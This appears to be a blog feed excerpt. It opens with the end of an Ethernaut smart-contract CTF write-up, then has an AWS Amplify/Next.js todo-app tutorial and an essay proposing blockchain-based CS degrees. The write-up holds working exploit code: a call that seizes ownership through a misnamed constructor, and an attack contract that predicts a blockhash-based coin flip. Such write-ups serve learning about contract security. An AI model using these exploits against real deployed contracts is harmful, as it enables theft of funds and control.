  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

The thing to notice is the constructor function. It is a function misspelled "Fal1out". So we can just call it and gain ownership.

await contract.Fal1out()

Screen Shot 2022-05-05 at 16.52.03.png

3rd Challenge: Predicting the future of a Coin Flip

This is where things start ramping up a notch. You have to "use your psychic abilities" to win 10 consecutive times in a coin flipping game, given the following smart contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

Of course, we are not gonna solve this with psychic abilities!

yet...

blockvalue is deterministic in as much as it depends only on the current block. We can write a new smart contract that performs the same computation as flip(), and sends the guess in the same transaction.

That way we can guarantee that both will be mined on the same block, thus the computed guess is guaranteed to be correct.

contract CoinAttack {
    using SafeMath for uint256;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip public original = CoinFlip(0xACA861f3BaA80b5Eb213f308f2b87BC311AEdA56);

    constructor() public payable {}

    function iCantBelieveIGuessed (bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 answer = blockValue.div(FACTOR);

        bool side = answer == 1 ? true : false;

        // we can now "guess"
        if (side == _guess) {
            return original.flip(_guess);
        } else {
            return original.flip(!_guess);
        }
    }
}

Once it is deployed we can just call its iCantBelieveIGuessed() function and from there call flip() on the address of the contract we are attacking.

We can check our progress with 

await contract.consecutiveWins()

Then submit the instance:

Screen Shot 2022-05-05 at 20.26.06.png

And we are done!

Epilogue.

I am enjoying solidity and smart contracts way more than Next.js or even AWS to be honest. Both of which I still like a lot. But I think I will focus on the topic of smart contracts!

"Thinking in solidity" requires shifting how we think about execution of the programs we write. Kinda similar to how when learning async/await in javascript.

As we saw in the third example, several consecutive events can happen on the same block. Thus, it is as if they happen at the same time, at least as far as the blockchain is concerned.

Hopefully you found this useful. I'll share more answers in future posts!

:D

]]><![CDATA[How to (and why) go serverless]]>https://blog.jrlgs.dev/how-to-and-why-go-serverlesshttps://blog.jrlgs.dev/how-to-and-why-go-serverlessThu, 21 Apr 2022 16:03:21 GMTFor the past week or so I've been researching quite a lot about software architecture. And I have a BIG essay coming. Yet I am only like halfway through.

So I decided to take a little bit of what I learned about Serverless and put it into a separate post. I want to build something right now. Instead of blabbering theoretical gibberish.

Ok, I ended up with some theoretical gibberish. But only a little.

So let's get our feet wet, shall we?

I will explain with quite some detail what I learned about Serverless architectures on the aforementioned post. Right now, I will just take some time to ramble about the why. Then, we will get straight into the hands-on tutorial. If you are not interested in my ramblings, feel free to skip the following section.

You will break my heart. But feel free to skip.

But first, why?

Let me tell you how I think about the whole "Serverless" thing. There's ovbiously always a server somewhere. Its just that you don't need to think about that. Instead, you need to think about higher level constructs.

Let me paint an analogy.

If you are familiar with the functional style on JavaScript. You are probably familiar with the Array.prototype.map() method. Mathematically, you are dealing with a functor over the category of Arrays. (read this if you are curious)

Which doesn't really mean anything if you are not familiar with the maths. But if you do, the phrase "a functor over the category of arrays" yields a lot of meaning.

And I mean A LOT. Functors are a mathematical way of talking about analogy. They are a way of transforming something from one domain to another, while preserving its structure, at least some of it. In the case of JS Arrays, the structure that is preserved is the "ordering" of elements, over the domain transformation defined by the function you pass into map. So the input and output arrays are analogous like that.

But requires you to think in more abstract terms. The map() method is much more than just syntactic sugar over a clever for loop. But to get why, you will need to invest some time understanding what functors are.

Having said that. It doesn't really matter if you use a for or if you use map(). The JavaScript runtime will always iterate over the elements of an array one-by-one. The fancy abstraction is a cognitive tool for us, not for the computer. Being able to think at a higher level of abstraction allows us to do more with less code and with less effort and time.

Well, in my mind the whole Serverless thing is analogous to that. You don't have to worry about lower-level details. Thus allowing you to only focus on your business logic. The thing that actually provides the particular functionality of your app.

But you are forced to reason at a higher level of abstraction. Things like serverless functions and "edge computing" are not quite as concrete as an Express.js route handler on a Node server, for example. But they could be used for the same purposes.

Keeping up with the analogy, it doesn't really matter if you use AWS Lambda or your own Node/Express server. It will always boil down to some concrete procedural instructions on a server somewhere.

You may now reasonably be asking, Why would I want to go through the trouble of using harder-to-reason-about higher-level constructs over the concrete alternative?

If you use managed Serverless services you get extra features, like automatic scaling for free, in as much as you do not have to do anything to take advantage of them. Achieving the same with your own Node server is not trivial. At all.

Another big benefit is that you are only charged for the computing time you actually use. Instead of renting a server for a set period of time, whether you use it or not.

Hopefully that paints a good picture of why Serverless may be a good idea. But I should point out that it is not the best solution for every use case. As anything in software architecture, it depends...

...

I was lucky enough to be a Math major at some point in my life (and would love to go back and finally get my degree XD). I got the chance to study algebra and category theory. So this way of thinking is really comfortable for me :P

But the concrete hands-on coding is not!

So that's why I will focus on building actual projects on this blog. I will start by building a project to introduce myself to AWS. (in between the bigger SaaS project I have going on). Let's get into it!

The basic ideas behind AWS

The AWS ecosystem exposes a lot of services that you can take advantage of while only paying for what you actually use. That is, they are services, not libraries nor frameworks. And they are pay-as-you-use, not subscriptions nor rents.

Most of them have very generous free tiers, so don't you worry!

The underlying infrastructure is automagically handled for you. And there are no "setup" costs whatsoever.

There is a problem though. They are hard to grasp. What the heck is "Cognito", "SQS", "Lambda" or "AppSync"?

Well, they are individual services that, like Lego bricks, allow you to build things like authentication (Cognito). But you may find it easier to think in terms of categories instead of services. So you would want to have AWS handle authorization, to handle a GraphQL API, and so.

Wouldn't it be nice to have something like:

import {Auth} from "FancyAmazonMagicModule.js"

Auth.handleItForMe()

Well, you can't. But not by much!

Enter AWS Amplify

Amplify is a framework for building full stack application with AWS. Consisting of several components. Let's list some of them.

AmplifyCLI

This is a command line utility that you can use to easily configure and setup AWS services that you will use in your app. It is very straightforward to use.

Amplify Library

A set of modules, with components for frontend frameworks or libraries like React or Next, to easily consume the AWS services you have set up for your app.

Amplify Console

This is the command hub for your AWS apps built with amplify. You can see usage analytics and perform administrative tasks here.

Amplify Hosting

A hosting service by AWS that you can use to deploy your app. Uses a git-based workflow, so it is very easy to use.

Using AWS Amplify and Next.js to build an App

Let's build a simple app with AWS Amplify and Next.js. The basic steps we will follow are the following

  1. Create and set up an AWS account and Install Amplify CLI
  2. Create a Next.js project and import Amplify libraries
  3. Use Amplify CLI to setup the AWS services you will need
  4. Use the modules form Amplify library in your app to consume the services
  5. Build your app
  6. Deploy!

Sign up to AWS and Using Amplify CLI

I am gonna assume you have already signed up for an AWS account. Once you have, you can install the amplify CLI globally via npm.

npm install -g @aws-amplify/cli

I am also gonna assume that you know how to work in the "Node style" (with npm). And have Node.js installed.

And you will set it up with the configure command.

amplify configure

It will ask you to sign in into the AWS Console. Once you do, you will need to create an IAM user

IAM stands for Identity and Access Management. And is the way Amazon uses for dealing with users and user permissions, from the same organization. So if an organization has just one AWS account, they can have several employees using the account to build.

It will ask you for your preferred region and an username for the Amplify IAM user.

Specify the AWS Region
? region:  us-east-1
Specify the username of the new IAM user:
? user name:  jorch-test
Complete the user creation using the AWS console

After that, it will take you to the AWS Console to continue the process. Just make sure to create a user with the AdministratorAccess-Amplify policy enabled. That will allow the IAM user you just created to use Amplify to provision AWS services for your apps.

Then AWS Console will give you both an accessKeyId and secretAccessKey that you will need to input on the terminal to finish configuring AmplifyCLI. 

Enter the access key of the newly created user:
? accessKeyId:  ********************
? secretAccessKey:  ****************************************
This would update/create the AWS Profile in your local machine
? Profile Name:  default

Successfully set up the new user.

Please note that it will be the only and last time that AWS will show you those particular keys. But you can always create new ones.

Now you are all set up and ready to start building fullstack apps with AWS and Amplify!

Amplify and Next setup

First, create a new Next.js project:

npx create-next-app my-awesome-app

cd my-awesome-app

At this point, if you run npm run dev or yarn dev you should see your boilerplate Next project running. You should see the "Welcome to Next.js" page.

...

To set up the "backend" with AWS we just need to init it with Amplify CLI. From your project's root run:

amplify init

It will ask for some info, but it will be able to infer most of the defaults given that you are using Next.

Note: It is recommended to run this command from the root of your app directory
? Enter a name for the project myawesomeapp
The following configuration will be applied:

Project information
| Name: myawesomeapp
| Environment: dev
| Default editor: Visual Studio Code
| App type: javascript
| Javascript framework: react
| Source Directory Path: src
| Distribution Directory Path: build
| Build Command: npm run-script build
| Start Command: npm run-script start

? Initialize the project with the above configuration? Yes
Using default provider  awscloudformation
? Select the authentication method you want to use: (Use arrow keys)
❯ AWS profile 
  AWS access keys

Once its done asking questions, let it do its thing for a short while.

55B08393-5CE8-458D-95BF-1B6644AC8B20.jpeg

Ooopss! I made a mistake. I'm using Next.js, not plain React. There are some differences. The src in Next is the root of the project. Andbuild should be /.next. Luckily it is very easy to fix with Amplify.

amplify configure project

Will run the configuration questionnaire again.

? Which setting do you want to configure? Project information
? Enter a name for the project myawesomeapp
? Choose your default editor: Visual Studio Code
? Choose the type of app that you're building javascript
Please tell us about your project
? What javascript framework are you using react
? Source Directory Path:  .
? Distribution Directory Path: .next
? Build Command:  npm run-script build
? Start Command: npm run-script start
Using default provider  awscloudformation


Successfully made configuration changes to your project.

Ok. That's better, take a look.

CFA7D53D-F19F-4C35-A4E7-DA11F1337F80.jpeg

Amplify will create a folder ./amplify where it keeps all the info it needs to provision the AWS backend. As you add services this folder will get updated. It will also update the .gitignore file of your project.

Pay particular attention to the aws-exports.js file. The Amplify client needs this file to know how to use your AWS backend.

Please take note that amplify will automatically hide the /amplify/.config on VSCode by default on .vscode/settings.json but I changed that file to show it for the screeshot. So don't get scared when you don't see the .config folder! Ask me how I know!

Under the hood, a project will be created on your AWS Amplify Console. You jump into it by typing amplify console on the terminal

A small sidetrack: Infrastructure as Code

By the way. This approach of doing things is usually called "Infrastructure as Code". And as you can see, it really meshes well with the ethos of Serverless computing.

Under the hood, Amplify uses AWSCloudFormation, which allows you to create a template with JSON or YAML to describe the infrastructure you want, from the catalog of AWS services available.

221F59F3-B322-4420-B843-F3779902DE9F.jpeg

You may also use AWS Cloud Development Kit (CDK) to define your infrastructure with common programming languages, like TypeScript. It also uses CloudFormation.

6AC2FC47-8457-431D-A759-B56885854FA7.jpeg

I will go through CDK in the future, but for now. Suffice to say that you can code "chunks" of your infrastructure, called "constructs". And can build your entire backend by piecing constructs together. Then, export the resulting CloudFormation template into AWS.

...

To finish setting up the project. Let's install the Amplify Libraries we need to use AWS from the client.

npm install aws-amplify @aws-amplify/ui-react@1.x.x

The aws-amplify package is the main npm package that we need for working with Amplify in our frontend apps. The other one contains React UI components that will be very useful as we build our app using AWS.

Create a GraphQL API in like seconds.

Up until this point everything we have done has been pretty generic. Pretty much any app will be setup like this. But now we have to think what it is that we want to do. Let's make a very unoriginal "Todo" app XD

We will need an API. Thus,

amplify add api

It will ask some questions. By now you know the drill.

? Select from one of the below mentioned services: GraphQL
? Here is the GraphQL API that we will create. Select a setting to edit or continue (Use arrow keys)
  Name: myawesomeapp 
  Authorization modes: API key (default, expiration time: 7 days from now) 
  Conflict detection (required for DataStore): Disabled 
? Here is the GraphQL API that we will create. Select a setting to edit or continue Continue
? Choose a schema template: Single object with fields (e.g., “Todo” with ID, name, description)

...

GraphQL schema compiled successfully.

As we choose a GraphQL API, it will now ask if you want to edit the schema. If you choose yes, it will show the schema file. Here is what I'll use.

type Todo
@model
@auth(rules:[{allow: owner}, {allow:public, operations:[read] }]) {
  id: ID!
  title: String!
  content: String!
}

First note that there is a @model directive for the Todo type. This is an amplify-specific way of telling AWS to provision everything it will need to handle the implied data model. For example, it will create DynamoDB database tables for GraphQL types annotated with @model, and setup AWS AppSync to handle the corresponding API.

There is also an @auth directive with some rules. Again, this is for amplify to provision whatever it needs to handle who can do what with the database entries. Here we are telling amplify that only the owner will have full CRUD access to the data. While others can only read it.

Check the docs if you want to learn more about creating APIs with Amplify.

Finally, let's deploy the API. Type:

amplify push

It will push your API into the Cloud. After asking some more questions.

Building resource api/myawesomeapp
⚠️  WARNING: your GraphQL API currently allows public create, read, update, and delete access to all models via an API Key. To configure PRODUCTION-READY authorization rules, review: https://docs.amplify.aws/cli/graphql/authorization-rules


    Current Environment: dev

┌──────────┬───────────────┬───────────┬───────────────────┐
│ Category │ Resource name │ Operation │ Provider plugin   │
├──────────┼───────────────┼───────────┼───────────────────┤
│ Api      │ myawesomeapp  │ Create    │ awscloudformation │
└──────────┴───────────────┴───────────┴───────────────────┘
? Are you sure you want to continue? Yes

It will ask about the authentication and security configuration

Cognito UserPool configuration
Using service: Cognito, provided by: awscloudformation

 The current configured provider is Amazon Cognito. 

 Do you want to use the default authentication and security configuration? Default configuration
 Warning: you will not be able to edit these selections. 
 How do you want users to be able to sign in? Username
 Do you want to configure advanced settings? No, I am done.

Then it will ask about the GraphQL API

? Do you want to generate code for your newly created GraphQL API Yes
? Choose the code generation language target javascript
? Enter the file name pattern of graphql queries, mutations and subscriptions src/graphql/**/*.js
? Do you want to generate/update all possible GraphQL operations - queries, mutations and subscriptions Yes
? Enter maximum statement depth [increase from default if your schema is deeply nested] 2

Once its done, your API is live!

✔ Generated GraphQL operations successfully and saved at src/graphql
✔ All resources are updated in the cloud

GraphQL endpoint: # the url for the api endpoint
GraphQL API KEY: ********************************

GraphQL transformer version: 2

You can play with it by running

amplify console api

To open the AWS AppSync console.

What the heck just happened!

This one makes for a dramatic highlight of the power you can wield with this kind of tools. Under the hood Amplify provisioned everything you need for the API to work.

No data models and ODMs, or silly CRUD-ful mischievousness to worry about! AWS will figure all of that out for you!

Disclaimer: If only it were so simple. Nothing in software is a silver bullet. There are some tradeoffs. Can you guess which ones?

Create a Next.js frontend

Open ./pages/index.js to start building the frontend of the app. Let's first see what we need to import to tie everything together

//pages/index.js

import { AmplifyAuthenticator } from "@aws-amplify/ui-react";
import { Amplify, API, Auth, withSSRContext } from "aws-amplify";

import Head from "next/head";
import styles from "../styles/Home.module.css";

import awsExports from "../aws-exports.js";

import { createTodo } from "../src/graphql/mutations";
import { listTodos } from "../src/graphql/queries";

// Tell amplify to use our configured backend
Amplify.configure({ ...awsExports, ssr: true });

We import from aws-amplify the objects that will allow us to consume the backend. And we tell Amplify to use it by using Amplify.configure().

The awsExports object is the aws-exports.js file that Amplify generated back when we initialized out project.

The createTodo and listTodos objects are the GraphQL mutation and query, for our "Todo" model, respectively. I have a styles CSS file which is pretty much what Next.js generates by default, so don't worry too much about it.

The API and Auth objects will allow us to interact with the underlying AWS services we asked Amplify to set up for us.

We will also use the AmplifyAuthenticator react component to let Amplify handle the sign-in/sign-out as well as how to restore forgotten passwords and so. You may also do this manually, but I choose to do it this way for simplicity.

Finally, we will also have it so that the apps queries our API before it is sent to the client. Amplify has a convenient withSSRContext() utility for that. According to the docs, client-side credentials are passed to the server via cookies. withSSRContext creates an instance of Amplify scoped to a single request using those credentials. So the server can, in this case, make the request to or API and fetch the todos for server side rendering.

// We want to query our GraphQL API before sending the page to the client
export async function getServerSideProps({ req }) {
  const SSR = withSSRContext({ req });
  const response = await SSR.API.graphql({ query: listTodos });

  return {
    props: {
      todos: response.data.listTodos.items,
    },
  };
}

Here is the main component

export default function Home({ todos = [] }) {
  return (
    <div className={styles.container}>
      <Head>
        <title>Todo Super App</title>
        <link rel='icon' href='./favicon.ico' />
      </Head>

      <main className={styles.main}>
        <h1 className={styles.title}>Todo App with AWS</h1>
        <AmplifyAuthenticator className={styles.auth}>
          <p className={styles.description}>
            <code className={styles.code}>{todos.length}</code> todos
          </p>

          <div className={styles.grid}>
            {todos.map((todo) => (
              <a
                className={styles.card}
                href={`/todos/${todo.id}`}
                key={todo.id}>
                <h3>{todo.title}</h3>
                <p>{todo.content}</p>
              </a>
            ))}
          </div>

          <div className={styles.card}>
            <h3>New Todo</h3>
            <form onSubmit={handleCreateTodo}>
              <fieldset>
                <legend>Task name</legend>
                <input defaultValue={"Enter a name..."} name='title' />
              </fieldset>
              <fieldset>
                <legend>Task description</legend>
                <input defaultValue='What is the task?' name='content' />
              </fieldset>

              <button>Create Post</button>
              <button type='button' onClick={() => Auth.signOut()}>
                Sign out
              </button>
            </form>
          </div>
        </AmplifyAuthenticator>
      </main>
    </div>
  );
}

Finally, we have a handler for when we need to create a new Todo

async function handleCreateTodo(event) {
  event.preventDefault();

  const form = new FormData(event.target);

  try {
    const { data } = await API.graphql({
      authMode: "AMAZON_COGNITO_USER_POOLS",
      query: createTodo,
      variables: {
        input: {
          title: form.get("title"),
          content: form.get("content"),
        },
      },
    });
    window.location.href = `/todos/${data.createTodo.id}`;
  } catch ({ errors }) {
    console.error(...errors);
    throw new Error(errors[0].message);
  }
}

Here the only relevant part is that we are using await API.graphql() which does exactly what it looks like. It takes an object describing a query and then does the query for you.

It will then take us to /todos/:id which we haven't written yet. Here it is. It is pretty much the same in terms of how to handle the backend.

import { Amplify, API, withSSRContext } from "aws-amplify";
import awsExports from "../../aws-exports";

import Head from "next/head";
import { useRouter } from "next/router";
import styles from "../../styles/Home.module.css";

import { deleteTodo } from "../../src/graphql/mutations";
import { getTodo, listTodos } from "../../src/graphql/queries";

Amplify.configure({ ...awsExports, ssr: true });

export async function getStaticPaths() {
  const SSR = withSSRContext();
  const { data } = await SSR.API.graphql({ query: listTodos });
  const paths = data.listTodos.items.map((todo) => ({
    params: { id: todo.id },
  }));

  return {
    fallback: true,
    paths,
  };
}

export async function getStaticProps({ params }) {
  const SSR = withSSRContext();
  const { data } = await SSR.API.graphql({
    query: getTodo,
    variables: {
      id: params.id,
    },
  });

  return {
    props: {
      todo: data.getTodo,
    },
  };
}

export default function Todo({ todo }) {
  const router = useRouter();

  if (router.isFallback) {
    return (
      <div className={styles.container}>
        <h1 className={styles.title}>Loading...</h1>
      </div>
    );
  }

  async function handleDelete() {
    try {
      await API.graphql({
        authMode: "AMAZON_COGNITO_USER_POOLS",
        query: deleteTodo,
        variables: {
          input: { id: todo.id },
        },
      });

      window.location.href = "/";
    } catch ({ errors }) {
      console.error(...errors);
      throw new Error(errors[0].message);
    }
  }

  return (
    <div className={styles.container}>
      <Head>
        <title>{todo.title} - Todo App</title>
        <link rel='icon' href='/favicon.ico' />
      </Head>
      <main className={styles.main}>
        <h1 className={styles.title}>{todo.title}</h1>
        <p className={styles.description}>{todo.content}</p>
      </main>
      <footer className={styles.footer}>
        <button onClick={handleDelete}>Delete Post</button>
      </footer>
    </div>
  );
}

The only noteworthy aspect is the handleDelete handler. It will use the API object to send a delete query for the todo's id. And then it will take us to the home /.

...

If you play for a little bit with the app you will see that it has a very complex sign-up/sign-in flow. But I only used a single component to have it work that way.

Deploying and setting up CI/CD

Finally, lets deploy our app. We will use Amplify Hosting, of course! Can you guess how you would add hosting? Exactly!

amplify add hosting

It will ask some questions

? Select the plugin module to execute Hosting with Amplify Console (Managed hosting with custom domains, Continuous deployment)
? Choose a type Continuous deployment (Git-based deployments)
? Continuous deployment is configured in the Amplify Console. Please hit enter once you connect your repository

Then it will take you to the Amplify console. Choose Hosting environments tab and select from where to pull the project.

Screenshot from 2022-04-02 16-30-26.png

I'm using github. Click "select branch" and follow the instructions to authorize with github. Then just enter the repo.

Screenshot from 2022-04-02 16-23-27.png

Tumble your way through the instructions and eventually you will have a deployed app!

Screenshot from 2022-04-02 16-28-20.png

Once you select the repo and let AWS start the build process, you will see this in the terminal.

Amplify hosting urls: 
┌──────────────┬────────────────────────────────────────────┐
│ FrontEnd Env │ Domain                                     │
├──────────────┼────────────────────────────────────────────┤
│ main         │ https://main.d3l9nsrhlyyztc.amplifyapp.com │
└──────────────┴────────────────────────────────────────────┘

It will take a while to build.

Finally, here is the app

And here's the GitHub Repo

There are some caveats though

Everything in software architecture is a tradeoff. AWS Amplify makes it almost trivial to use the notoriously confusing AWS ecosystem.

It does a lot of stuff under the hood. And it works pretty well... until it doesn't. If you throw in a lot of stuff without knowing what is what, you won't have the faintest idea on how to even start debugging when things go awry.

So tools like this one can turn out to be quite the sharp double-edged sword. The more you rely on "bootstrapping" software, the more likely you are of check-matting yourself.

That is, if you don't understand what is happening under the hood.

Just to be completely transparent. I am just learning this myself. I followed a bunch of tutorials just to be able to piece this one together. You can find other tutorials online. Better tutorials.

So I want to be extremely careful, to avoid going overboard. That being said, I take a lot of care about the information I share here.

Why do I care about this stuff?

I don’t really like front end that much, to be honest (mainly because I suck at it). And I figured I will focus on learning what I need for the job I want. The big-picture architectural side of software meshes much better with how my mind works.

Most jobs I’ve seen that involve architecture, Serverless and the Jamstack, are senior fullstack engineer positions. So I’m aiming for that. As arrogant as it might sound coming from someone with 0 industry experience.

So I figured I will build my experience myself by building bigger "fullstack" projects on this blog. Which is great for my blogging, as I now have a narrower focus! I also want to get into Web3 :D

Alas, I don’t come into software empty handed. I know the value of my abilities. Coding is trivial once you reach a certain threshold. And I am way past that point. I can research the rest by myself.

I have low self-esteem, not a lack of self-awareness!

:D

I mean, good, persuasive writing demands boldness.

Epilogue.

Well, that was another really big one! I learned a ton. And I mean A TON!

Last week or so I wasn't even aware that AWS existed! Nor I had any idea about "fullstack" other than the cliche Node/Express and MongoDB run-of-the-mill tutorial project.

But this? This was something else!

Did I miss anything? Please let me know!

Maybe follow me on Twitter?

]]><![CDATA[Here's an idea: An open-source asynchronous blockchain-powered freely-available officially-recognized decentralized CS degree.]]>https://blog.jrlgs.dev/heres-an-idea-an-open-source-asynchronous-blockchain-powered-freely-available-officially-recognized-decentralized-cs-degreehttps://blog.jrlgs.dev/heres-an-idea-an-open-source-asynchronous-blockchain-powered-freely-available-officially-recognized-decentralized-cs-degreeThu, 21 Apr 2022 10:33:50 GMTBefore we begin.

I don't use buzzwords for buzzword's sake. Let me give you a run down of the argument in this essay.

  1. I identify two purposes that an undergraduate-level computer science degree must at least satisfy: (1) ensure the completeness of the education and (2)to foster critical thinking.

  2. I identify three constraints that when considered together lead to a broadly unsatisfied real need for education. It must be (1) freely accessible, (2) from anywhere at any time (3) and officially recognized.

  3. I propose that Blockchain technology. Particularly, by using smart contracts and NFTs. Make for an ideal venue for an accredited degree that satisfies those constrains and purposes. On a large scale. The only existing option I know of that satisfies the constrains suffers from scalability and other issues that can be solved for the most part by Blockchain technology.

  4. I "open source" the idea and briefly lament the difficulty of materializing it.

That's literally it. Let's entertain the idea for a little while, please.

Preliminaries: Open Source CS curriculum

In case you don't already know about it. Check the OSSU CS curriculum on github. It is a learning path. Made up of mostly free resources. Covering about as much as you would learn by attending college.

What if we could take that approach to learning and make if official? Asynchronous, freely accessible and as decentralized as possible?

Why universities?

First. Let's go back and ask why do universities even exist? I know it is a weird question. And I am not being confrontational or dismissive of formal education. I myself have a ton of formal education. And I value my education incredibly high (even though I was unable to finish formalizing it... that's a story for another time :D)

I just think it is worth analyzing.

In as much as students are concerned, the best and most generous answer I can think of is "to make sure that the student's learning is complete enough". That's why you have a curriculum. That's why you have evaluations.

But make no mistake. There are other legitimate and not-easily-replaceable purposes universities fulfill. Like scientific research. And involving future scientists in the scientific community. And (at least in my country) supervising and regulating other educational institutions. As well as providing public services to the community and industry.

But here we are just concerned with the "getting a (undergraduate) degree" role that universities fulfill. Please keep that in mind.

I could come up with a bunch of less generous and more perverse answers... have you read french philosopher Michel Foucault's "discipline and punish"?

Here's another perspective: Universities and educational institutions exists as a way in which societies as a whole make sure the individuals that make it up are productive. Kinda like a self-regulation mechanism. Like how your body has a bunch of mechanisms in place to make sure your neurons can function as they need to.

But you can do all of that on the internet. We have automatic grading systems (for software-based assignments) and we have peer-grading systems. We may even be able to incentivize "open source" assignment reviews. We already do something like that with academic journals.

The last defense for body-present education is that you get to share ideas with your peers. To foster critical thinking. Something indispensable, they would add. And yeah. It is indispensable. But, believe it or not, reddit, twitter, and so, have legitimately benign uses.

And there's another route for teaching critical thinking. Without the risk of group-think and the echo-chamber effect. Philosophy, math, logic and the Humanities. Let's incorporate those in the curriculum!

...

The "completeness and critical thinking" view of formal education

With all I discussed so far, let me enunciate what I think is the point of formal education. In the reduced context of "getting an undergraduate degree":

  • To ensure that the student's learning is complete enough
  • To foster critical thinking

Again, in as much as getting an undergraduate degree is concerned.

I will shamelessly call this the "completeness and critical thinking" view of formal education. And the rest of this writing concerns only this reduced view.

Be mindful, I am claiming this. But it is definitely is open for discussion. In fact, I encourage it. But I have a purpose for "reducing" the view like this. Read on!

But why even?

If you are lucky enough to be american or from a western country you may not see much point on this. For example, public college-level education is free (or almost free) in my country (Mexico). Why would I want this work around?

Let me consider three objections:

  • You can already get certifications, bootcamps, etc.
  • In many countries, college is free.
  • And we already have online degrees.

The first one has two problems. First, it is not official. And while it is true that you don't need a degree. It certainly does help. Particularly outside the US. Also, there is a cultural shift towards technical training. Which invalidates somewhat the second purpose of our stated "completeness and critical thinking" view. So bootcamps won't quite fulfill those goals.

And a particularly US-flavored issue: while bootcamps are marketed as cheaper than college, most of them are still eye-wateringly expensive for most people. They certainly are for me. And I am your down south neighbor!

Let's now consider the second objection. While in many countries college is free, it is not the case that you can get free college from every country. Please read that again. And some free-college countries struggle to provide for everyone. Case in point, my own country's biggest public university cannot accept but only 1 out of 10 aspirants (the linked article is in Spanish).

Finally, the "available from everywhere" issue is somewhat solved by already-existent online official degrees. But it definitely does not solve the “accessible for everyone” issue. Why would I pay 20k usd to get an online degree when I can learn the same, with the same format, but without a paper that said I did so? Yet, the mere existence of these degrees shows that people do in fact value the officialness of the bloody diploma. Case in point, check out Georgia tech’s report on the demand for, and incredible success, of its Online Masters in Science in Computer Science (OMSCS)

Would I like the damn prestigious-university diploma? Of course! I would love to have that masters in computer science from Georgia tech. Does that make me somewhat of a hypocrite? Kinda... What do you want from me? I’m only human. Leave me alone! it’s Georgia-frickin-tech!

By the way. If you are feeling super generous… :D

And even then. Those online degrees are not so much available to everyone. For example, check Coursera's terms. From 2014, if you wanted to get a certificate or degree through Coursera from Iran, Cuba, Sudan or Syria you would be out of luck, thanks to US sanctions. Not to talk about the political and economic consequences of the current world affairs in Ukraine.

So none of the two objections quite hold. But I recognize that they are valid alternatives for some situations. Perhaps all you need is a bootcamp. Or you are self-taught like me. And that’s fine.

But we still have people that cannot take advantage of those. Either because they cannot afford to, or they cannot access due to political circumstances. Or because they would really benefit from an accredited degree. Thus the need for an officially-recognized, as-free-as-possible and everywhere-accessible degree.

Therefore this is not a “bootcamps are crap” argument. I just think there is a genuine and, for the most part, unsatisfied need for what I am proposing. Read on!

Three constrains

So in addition to fulfilling the purposes I stated above. It must also satisfy some constrains:

  • It must be freely accessible
  • From anywhere
  • It must be officially-recognized

Ok, but...

The last objection

You may now flail your arms in the air, and say what you must reasonably be thinking.

"Jorch, you naive-but-well-intentioned moron! There is no way in hell a university can offer an officially-recognized, tuition free, everywhere accessible degree."

And you would be wrong.

Here, check the University of the People's website. An accredited degree-granting non-profit.

I just want to automatize and decentralize the affair as much as possible. In order to make it as accessible as possible to the people that really need it.

Right now, you have to apply like a traditional university. And while it is tuition-free. There are processing fees for things like exams. I mean, its a non-profit. It still has to maintain a ton of infrastructure. They make the best they can to waive the fees to those that need it. But still.

Enter Ethereum.

Or Polygon, or Solana. If am allowed to vent about the ridiculous gas fees!

A non-investor friendly use case for NFTs

How about this. You work through a set of open-source freely-available coursera-style self-paced peer-graded courses. Through a minimally-costly infrastructure-light platform.

Then you get a non-sellable, non-transferable NFT that records your success studying the materials. And have it automagically be linked to your Twitter/LinkedIn/GitHub accounts.

Have educational institutions build and assess the curriculum. And have publicly available smart contracts to handle all the verifications needed in an automatic, decentralized and transparent fashion. And have an US department of education-listed accrediting agency to accredit the program. The Distance Education Accrediting commision already accredits the University of the People

You can already leverage Youtube, social media and blogging platforms. And of course public blockchains like Ethereum.

Does this sound preposterous to you? NFTs can (and should in my opinion) be much more than "expensive jpgs". As some of my non-blockchain-friendly friends call them.

An NFT is just a token with information attached, and stored permanently in a decentralized blockchain. There is nothing intrinsic to them that makes them investment assets. Its perfect for the purpose!

If you think otherwise, read what Vitalik himself has to say about non-transferable "soulbound" NFTs. You may also want to check out the ERC1238

In that same "soulbound" article's last section Vitalik laments how "money-centered" web3 is. Here, let me quote.

"A common criticism of the "web3" space as it exists today is how money-oriented everything is. People celebrate the ownership, and outright waste, of large amounts of wealth, and this limits the appeal and the long-term sustainability of the culture that emerges around these items. There are of course important benefits that even financialized NFTs can provide, such as funding artists and charities that would otherwise go unrecognized. However, there are limits to that approach, and a lot of underexplored opportunity in trying to go beyond financialization. Making more items in the crypto space "soulbound" can be one path toward an alternative, where NFTs can represent much more of who you are and not just what you can afford. "

I mean. The humanitarian rationale for crypto and blockchain's DeFi is giving equal and unrestricted access to banking to people that still lack access to financial services. Check section 4 of the report on decentralized finance by the Organization for Economic Cooperation and Development (OECD).

Lets do the same with education.

For what is worth I do like the idea of investing in crypto and defi. If I had more money to invest, that is...

(pro tip: ape-ing on Pancakeswap is NOT a good idea. Ask me how I know!)

Do you like the idea? But how even?

I recognize that this kind of initiative requires a strong economic drive. And a lot of good will. Something we sorely lack right now. The world is currently a very sad place.

But I can hope, right?

